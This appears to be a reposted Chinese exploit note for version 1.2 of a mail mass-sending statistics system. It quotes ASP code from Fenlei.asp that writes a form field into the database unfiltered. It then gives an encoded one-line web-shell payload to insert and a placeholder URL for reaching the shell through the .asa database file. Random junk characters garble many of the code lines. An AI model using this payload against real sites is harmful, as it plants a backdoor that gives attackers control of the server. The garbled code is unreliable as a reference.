铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

! o8 j% N/ N9 lIF Request.QueryString("Action")="del" Then
* ?3 d+ L& O3 G& IID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
- v. m$ C7 _. }1 @IF Request.QueryString("Action")="Add" Then
1 w0 Y  T) D) J; UTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
3 s) @7 n, d% G/ Q6 X) q' k& }Rs.Open Sql,Conn,1,3
Rs.Addnew
- Q/ Z+ ]3 Z0 Z9 A# \  vRs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
%>
0 ^: E5 o: c5 V: _
2 v5 i7 K3 K$ Y' q  p2 u. F

8 G. }% `0 ]' }  y没有过滤，直接写入数据库。
% o1 ^9 h' ~2 a
% ?- W% j  e) O& _& s% `利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>


连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp
; P( T: h& \4 S